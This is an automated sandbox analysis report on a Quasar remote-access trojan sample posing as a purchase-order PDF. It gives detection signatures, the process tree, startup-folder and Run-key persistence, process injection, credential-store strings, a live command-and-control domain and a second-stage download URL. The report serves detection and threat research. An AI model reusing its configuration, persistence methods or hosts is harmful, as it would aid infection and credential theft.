Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
________.exe

Overview

General Information

Sample name:________.exe
renamed because original name is a hash value
Original sample name:New Purchase Order-0304243220- SMART SOURCING INC.pdf____________________________________________________.exe
Analysis ID:1557955
MD5:c28ef8671a7f140f9385ab177e38844b
SHA1:4cc35c23f2ce252413249ecd2ea47967fc00d5a4
SHA256:ffa58ebc168e4a19c311097b97645a5d8801db2326f4e8784b634c3e2e2de991
Tags:exeuser-cocaman
Infos:

Detection

Quasar
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Sigma detected: Suspicious Double Extension File Execution
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Quasar RAT
.NET source code contains potential unpacker
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Drops VBS files to the startup folder
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Machine Learning detection for sample
Sigma detected: WScript or CScript Dropper
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • ________.exe (PID: 6912 cmdline: "C:\Users\user\Desktop\________.exe" MD5: C28EF8671A7F140F9385AB177E38844B)
    • InstallUtil.exe (PID: 3492 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)
  • wscript.exe (PID: 5848 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • StackTrace.exe (PID: 6120 cmdline: "C:\Users\user\AppData\Roaming\StackTrace.exe" MD5: C28EF8671A7F140F9385AB177E38844B)
      • InstallUtil.exe (PID: 928 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Quasar RAT, QuasarRATQuasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.
  • APT33
  • Dropping Elephant
  • Stone Panda
  • The Gorgon Group
https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Malware Configuration

Threatname: Quasar

{"Version": "1.4.1", "Host:Port": "aboushagor.ydns.eu:6542;", "SubDirectory": "SubDir", "InstallName": "windows update.exe", "MutexName": "0b30f45d-3c54-4926-a32f-8a1dc077eb21", "StartupKey": "svchost", "Tag": "Chim", "LogDirectoryName": "Logs", "ServerSignature": "KOy9nBE0h5W+RwoIC96e2UwdSYYqOC/Q2bFDQPA0HiPpunPfkDTu1Mcdt/abHdxhbuw8Tr6lB0iHjT17UEI6C/nDeevBn1btcJS2a5t4bDF1avRWvIDdYHX8fNZHkSx1fNTOACqJB6OI4WgPPbU5lhBIabqu4HGS0fwV0zgCP6uBej/5CJMZd/2LzBN2GLdIA5c25rCvG0oaJjbEchHwciEjEXfOZYPJla3yc7r0b33yF7Bs21FTdK4MSH+V+jOCuQB0cGbLOzGLtQ5wfkAcY4J98yq8h1GG0fXamABUSKg9cL9ddCFsyfNvXD8hpsvNU6a9FNkWMVAtBLHlFJaPVYPvXyOvaHldUmUcQC49HLCNcED7usTpd6EBbje6pM0e2WlLRwwcM6e4DLlMjaA/5gOTeCeuZW/xRZKIfDoGmHMI7zxbtsk86l/19SAl19rOO6GeJyAW2r24t02aic5Pzxofxpd7tdMP8YgHYZGWp5dror9sDtbf1BoThNoVF0Bmhx5bl8+fZw/4EOP/AyqJmSt8tTx69z+iPE10CUB5bKjdbf5cVHIa+tQv/pODp5W9NG7sF2803ZRF5d3KKYYqIabrZ+9YoyAjizoEEl2gdTp/i5k53Mca3qFSaTXVMo4MWzBtDssVsgz6Hq4B/lpV52o6HsxKYf58FGuPWaEEiws=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAP1KbHL3U+pCrceIhUgt+TANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTI0MTExMzA5NDUzOVoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAotbNh20kwzcfnjmOzbzY+vFn6xto+tecuZPMyVz4Mfst6A3prg9wjhWfmtawwkKgsyX/bNHP2Y36LlCA88iwQpehtPBSfUPkrcxgyN80MXLMIepeLo/fdRFISOqR9oKXRIJZjh57vHk8rt/LY2BMadYFzIMTlaiU7LJZ8l1NS+BdCmZr7MtlF9e1nje83otpe+YYmb8x3LJq3FMRVtpHXx9ocMmbJzySgM0cjidhNDBImy30Iejj6v90xOQ/cqsw+l+7KSVrTFur7Mk9Ddw1Tx/bW3uRuVDSqBjgp1ozUkUZtqSm0NOZL+WEpkv4d9FY8990XPpMnw/1KYpNykYUYQLMxz9TEr1BLxrev3jyYON4Vj9oHq/Y1O0jNepBpZ2W1ZflnM4IyAzSbtCiuRCw3Wvsey8T1rO72Fx6lnOKz019SKdHsKv/lyYbJ9bFhuqGl0P0Pq38ebppORxfW9pOXCzxI81Hx/Ab2P2ZPxIQ16TSg6nzg71U+oR+eLOknjgp0Q5u4358eeQXaJ0NHsOwa0dmflxMEyhR2sZTy4JYVUbHPc785wOtCkTC8CE0atXWBT4Uc22jd52K0es2Sf9bD0RPKgW16TkvYbpxSQOpqyge0uHSqlY8ERXZXiqRZ/atyPcu/aELwx5QNOkLVyGpMbchVd4bskZF562v+HXVgAECAwEAAaMyMDAwHQYDVR0OBBYEFLLAcXPzPEAbj18Vz/PAS76kzRYkMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBABxy7XalRvJ7v6FvZ1OvFZQUTYyrZcP1mokX4F8y26375ip65+vb/39QmH3KzewpAburt7MnOpghI00emml6UGFy+gH9tcN7ve17pJihBH/a6hV1PdSpf24e9XTfvH2pGg3BGH9e6ZX2vyU9TpOBsQ+4TxvvuBoDjzqIy/5M2XdehY/AHJkHbAjGa56uuAS1vRwCYtkBUVcDDoTtooxDVhSyZS4Pm0YI8IpD8ZrFwr5YAobK6VB2gIAu1NjbEoJY9IaOK4WUVW1S94ACL4ybjgaiuqXJuF1g2SzLkS1beNxqUjv438Vp0I0drPa+3pPyoZ8yWlqwvz3+QiB8x1i55Bpp22kh9fyW69Qw48ys4s4r5VSDH24Hi/tm7Y0YK6wOe+MZypEsAVWVTmJyW00DnUUX0mCRpoYChRqj9vvU6sX003gQxvL943fAg/TOyOjIz39ADLh6SvLIG7LX4pSOgElk0DZwE/KKRw8Sq/6rMYUcxWYpTaGgXjDsWzeg/nfEeQgMGXy94/1CkEUQqmHibEe4NycjwNc6ZcaJ7jjQnOd2E8I/jeyXjW9xJWxIGeAH+M5D3pt6RMP5RXayddw+BV7P4ai2SYhVnWHFCmhhGjPnQqVHzBFTcG9cI/no96EOHe5G8iWm0j8sCVL11es/KL8ixP/6IdIaGlaf+//o6fKZ"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000003.00000002.1905206220.00000000028C2000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_QuasarYara detected Quasar RATJoe Security
    00000005.00000002.1913477262.0000000000720000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_QuasarYara detected Quasar RATJoe Security
      00000000.00000002.1715918413.0000000002A85000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_QuasarYara detected Quasar RATJoe Security
        00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
          00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_QuasarYara detected Quasar RATJoe Security
            Click to see the 18 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            3.2.StackTrace.exe.3d03da0.3.raw.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
              0.2.________.exe.6980000.9.raw.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
                3.2.StackTrace.exe.39416c0.4.unpackJoeSecurity_QuasarYara detected Quasar RATJoe Security
                  3.2.StackTrace.exe.39416c0.4.unpackMAL_QuasarRAT_May19_1Detects QuasarRAT malwareFlorian Roth
                  • 0x28d0d8:$x1: Quasar.Common.Messages
                  • 0x29d401:$x1: Quasar.Common.Messages
                  • 0x2a99fa:$x4: Uninstalling... good bye :-(
                  • 0x2ab1ef:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
                  3.2.StackTrace.exe.39416c0.4.unpackINDICATOR_SUSPICIOUS_GENInfoStealerDetects executables containing common artifcats observed in infostealersditekSHen
                  • 0x2a8fac:$f1: FileZilla\recentservers.xml
                  • 0x2a8fec:$f2: FileZilla\sitemanager.xml
                  • 0x2a902e:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions
                  • 0x2a927a:$b1: Chrome\User Data\
                  • 0x2a92d0:$b1: Chrome\User Data\
                  • 0x2a95a8:$b2: Mozilla\Firefox\Profiles
                  • 0x2a96a4:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2
                  • 0x2fb628:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2
                  • 0x2a97fc:$b4: Opera Software\Opera Stable\Login Data
                  • 0x2a98b6:$b5: YandexBrowser\User Data\
                  • 0x2a9924:$b5: YandexBrowser\User Data\
                  • 0x2a95f8:$s4: logins.json
                  • 0x2a932e:$a1: username_value
                  • 0x2a934c:$a2: password_value
                  • 0x2a9638:$a3: encryptedUsername
                  • 0x2fb56c:$a3: encryptedUsername
                  • 0x2a965c:$a4: encryptedPassword
                  • 0x2fb58a:$a4: encryptedPassword
                  • 0x2fb508:$a5: httpRealm
                  Click to see the 21 entries

                  Sigma Signatures

                  System Summary

                  barindex
                  Sigma detected: Suspicious Double Extension File Execution
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\________.exe", CommandLine: "C:\Users\user\Desktop\________.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\________.exe, NewProcessName: C:\Users\user\Desktop\________.exe, OriginalFileName: C:\Users\user\Desktop\________.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Users\user\Desktop\________.exe", ProcessId: 6912, ProcessName: ________.exe
                  Sigma detected: WScript or CScript Dropper
                  Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs" , ProcessId: 5848, ProcessName: wscript.exe
                  Sigma detected: CurrentVersion Autorun Keys Modification
                  Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Roaming\SubDir\windows update.exe", EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, ProcessId: 3492, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost
                  Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                  Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs" , ProcessId: 5848, ProcessName: wscript.exe

                  Data Obfuscation

                  barindex
                  Sigma detected: Drops script at startup location
                  Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\________.exe, ProcessId: 6912, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs

                  Suricata Signatures

                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-18T19:24:06.301641+010020355951Domain Observed Used for C2 Detected69.174.98.1136542192.168.2.449731TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-18T19:24:06.301641+010020276191Domain Observed Used for C2 Detected69.174.98.1136542192.168.2.449731TCP

                  Joe Sandbox Signatures

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  Antivirus detection for URL or domain
                  Source: aboushagor.ydns.euAvira URL Cloud: Label: malware
                  Found malware configuration
                  Source: 5.2.InstallUtil.exe.400000.0.unpackMalware Configuration Extractor: Quasar {"Version": "1.4.1", "Host:Port": "aboushagor.ydns.eu:6542;", "SubDirectory": "SubDir", "InstallName": "windows update.exe", "MutexName": "0b30f45d-3c54-4926-a32f-8a1dc077eb21", "StartupKey": "svchost", "Tag": "Chim", "LogDirectoryName": "Logs", "ServerSignature": "KOy9nBE0h5W+RwoIC96e2UwdSYYqOC/Q2bFDQPA0HiPpunPfkDTu1Mcdt/abHdxhbuw8Tr6lB0iHjT17UEI6C/nDeevBn1btcJS2a5t4bDF1avRWvIDdYHX8fNZHkSx1fNTOACqJB6OI4WgPPbU5lhBIabqu4HGS0fwV0zgCP6uBej/5CJMZd/2LzBN2GLdIA5c25rCvG0oaJjbEchHwciEjEXfOZYPJla3yc7r0b33yF7Bs21FTdK4MSH+V+jOCuQB0cGbLOzGLtQ5wfkAcY4J98yq8h1GG0fXamABUSKg9cL9ddCFsyfNvXD8hpsvNU6a9FNkWMVAtBLHlFJaPVYPvXyOvaHldUmUcQC49HLCNcED7usTpd6EBbje6pM0e2WlLRwwcM6e4DLlMjaA/5gOTeCeuZW/xRZKIfDoGmHMI7zxbtsk86l/19SAl19rOO6GeJyAW2r24t02aic5Pzxofxpd7tdMP8YgHYZGWp5dror9sDtbf1BoThNoVF0Bmhx5bl8+fZw/4EOP/AyqJmSt8tTx69z+iPE10CUB5bKjdbf5cVHIa+tQv/pODp5W9NG7sF2803ZRF5d3KKYYqIabrZ+9YoyAjizoEEl2gdTp/i5k53Mca3qFSaTXVMo4MWzBtDssVsgz6Hq4B/lpV52o6HsxKYf58FGuPWaEEiws=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAP1KbHL3U+pCrceIhUgt+TANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTI0MTExMzA5NDUzOVoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAotbNh20kwzcfnjmOzbzY+vFn6xto+tecuZPMyVz4Mfst6A3prg9wjhWfmtawwkKgsyX/bNHP2Y36LlCA88iwQpehtPBSfUPkrcxgyN80MXLMIepeLo/fdRFISOqR9oKXRIJZjh57vHk8rt/LY2BMadYFzIMTlaiU7LJZ8l1NS+BdCmZr7MtlF9e1nje83otpe+YYmb8x3LJq3FMRVtpHXx9ocMmbJzySgM0cjidhNDBImy30Iejj6v90xOQ/cqsw+l+7KSVrTFur7Mk9Ddw1Tx/bW3uRuVDSqBjgp1ozUkUZtqSm0NOZL+WEpkv4d9FY8990XPpMnw/1KYpNykYUYQLMxz9TEr1BLxrev3jyYON4Vj9oHq/Y1O0jNepBpZ2W1ZflnM4IyAzSbtCiuRCw3Wvsey8T1rO72Fx6lnOKz019SKdHsKv/lyYbJ9bFhuqGl0P0Pq38ebppORxfW9pOXCzxI81Hx/Ab2P2ZPxIQ16TSg6nzg71U+oR+eLOknjgp0Q5u4358eeQXaJ0NHsOwa0dmflxMEyhR2sZTy4JYVUbHPc785wOtCkTC8CE0atXWBT4Uc22jd52K0es2Sf9bD0RPKgW16TkvYbpxSQOpqyge0uHSqlY8ERXZXiqRZ/atyPcu/aELwx5QNOkLVyGpMbchVd4bskZF562v+HXVgAECAwEAAaMyMDAwHQYDVR0OBBYEFLLAcXPzPEAbj18Vz/PAS76kzRYkMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBABxy7XalRvJ7v6FvZ1OvFZQUTYyrZcP1mokX4F8y26375ip65+vb/39QmH3KzewpAburt7MnOpghI00emml6UGFy+gH9tcN7ve17pJihBH/a6hV1PdSpf24e9XTfvH2pGg3BGH9e6ZX2vyU9TpOBsQ+4TxvvuBoDjzqIy/5M2XdehY/AHJkHbAjGa56uuAS1vRwCYtkBUVcDDoTtooxDVhSyZS4Pm0YI8IpD8ZrFwr5YAobK6VB2gIAu1NjbEoJY9IaOK4WUVW1S94ACL4ybjgaiuqXJuF1g2SzLkS1beNxqUjv438Vp0I0drPa+3pPyoZ8yWlqwvz3+QiB8x1i55Bpp22kh9fyW69Qw48ys4s4r5VSDH24Hi/tm7Y0YK6wOe+MZypEsAVWVTmJyW00DnUUX0mCRpoYChRqj9vvU6sX003gQxvL943fAg/TOyOjIz39ADLh6SvLIG7LX4pSOgElk0DZwE/KKRw8Sq/6rMYUcxWYpTaGgXjDsWzeg/nfEeQgMGXy94/1CkEUQqmHibEe4NycjwNc6ZcaJ7jjQnOd2E8I/jeyXjW9xJWxIGeAH+M5D3pt6RMP5RXayddw+BV7P4ai2SYhVnWHFCmhhGjPnQqVHzBFTcG9cI/no96EOHe5G8iWm0j8sCVL11es/KL8ixP/6IdIaGlaf+//o6fKZ"}
                  Multi AV Scanner detection for dropped file
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeReversingLabs: Detection: 21%
                  Multi AV Scanner detection for submitted file
                  Source: ________.exeReversingLabs: Detection: 21%
                  Yara detected Quasar RAT
                  Source: Yara matchFile source: 3.2.StackTrace.exe.39416c0.4.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.________.exe.3c6c0e0.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.________.exe.3c6c0e0.4.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.StackTrace.exe.39416c0.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000003.00000002.1905206220.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.1913477262.0000000000720000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1715918413.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1715918413.0000000002788000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000001.00000002.2925605951.00000000030DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: ________.exe PID: 6912, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 3492, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: StackTrace.exe PID: 6120, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 928, type: MEMORYSTR
                  AI detected suspicious sample
                  Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                  Machine Learning detection for dropped file
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeJoe Sandbox ML: detected
                  Machine Learning detection for sample
                  Source: ________.exeJoe Sandbox ML: detected
                  Source: ________.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.logJump to behavior
                  Source: unknownHTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.4:49730 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 195.201.57.90:443 -> 192.168.2.4:49733 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.4:49734 version: TLS 1.2
                  Source: ________.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                  Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: ________.exe, 00000000.00000002.1742675050.0000000006890000.00000004.08000000.00040000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002C98000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.0000000002ADB000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003557000.00000004.00000800.00020000.00000000.sdmp
                  Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: ________.exe, 00000000.00000002.1742675050.0000000006890000.00000004.08000000.00040000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002C98000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.0000000002ADB000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003557000.00000004.00000800.00020000.00000000.sdmp
                  Source: Binary string: protobuf-net.pdbSHA256}Lq source: ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmp
                  Source: Binary string: protobuf-net.pdb source: ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmp
                  Source: C:\Users\user\Desktop\________.exeCode function: 4x nop then jmp 04680980h0_2_04680780
                  Source: C:\Users\user\Desktop\________.exeCode function: 4x nop then jmp 04680980h0_2_04680790
                  Source: C:\Users\user\Desktop\________.exeCode function: 4x nop then jmp 046803F8h0_2_04680040
                  Source: C:\Users\user\Desktop\________.exeCode function: 4x nop then jmp 046803F8h0_2_04680006
                  Source: C:\Users\user\Desktop\________.exeCode function: 4x nop then jmp 0468E162h0_2_0468E0E8
                  Source: C:\Users\user\Desktop\________.exeCode function: 4x nop then jmp 0468E162h0_2_0468E0F8
                  Source: C:\Users\user\Desktop\________.exeCode function: 4x nop then jmp 04680980h0_2_046809E9
                  Source: C:\Users\user\Desktop\________.exeCode function: 4x nop then jmp 0468E162h0_2_0468E1F4
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 4x nop then jmp 044C0980h3_2_044C0780
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 4x nop then jmp 044C0980h3_2_044C0790
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 4x nop then jmp 044C03F8h3_2_044C0040
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 4x nop then jmp 044CE162h3_2_044CE0E8
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 4x nop then jmp 044CE162h3_2_044CE0F8
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 4x nop then jmp 044C0980h3_2_044C09E9
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 4x nop then jmp 044CE162h3_2_044CE1F4

                  Networking

                  barindex
                  Suricata IDS alerts for network traffic
                  Source: Network trafficSuricata IDS: 2027619 - Severity 1 - ET MALWARE Observed Malicious SSL Cert (Quasar CnC) : 69.174.98.113:6542 -> 192.168.2.4:49731
                  Source: Network trafficSuricata IDS: 2035595 - Severity 1 - ET MALWARE Generic AsyncRAT Style SSL Cert : 69.174.98.113:6542 -> 192.168.2.4:49731
                  C2 URLs / IPs found in malware configuration
                  Source: Malware configuration extractorURLs: aboushagor.ydns.eu
                  Yara detected Generic Downloader
                  Source: Yara matchFile source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.________.exe.3c6c0e0.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.StackTrace.exe.39416c0.4.raw.unpack, type: UNPACKEDPE
                  Source: global trafficTCP traffic: 192.168.2.4:49731 -> 69.174.98.113:6542
                  Source: global trafficHTTP traffic detected: GET /mansa/Dhmwdw.mp3 HTTP/1.1Host: www.oleonidas.grConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /mansa/Dhmwdw.mp3 HTTP/1.1Host: www.oleonidas.grConnection: Keep-Alive
                  Source: Joe Sandbox ViewIP Address: 185.78.221.73 185.78.221.73
                  Source: Joe Sandbox ViewIP Address: 195.201.57.90 195.201.57.90
                  Source: Joe Sandbox ViewIP Address: 195.201.57.90 195.201.57.90
                  Source: Joe Sandbox ViewASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS
                  Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                  Source: unknownDNS query: name: ipwho.is
                  Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Host: ipwho.isConnection: Keep-Alive
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: global trafficHTTP traffic detected: GET /mansa/Dhmwdw.mp3 HTTP/1.1Host: www.oleonidas.grConnection: Keep-Alive
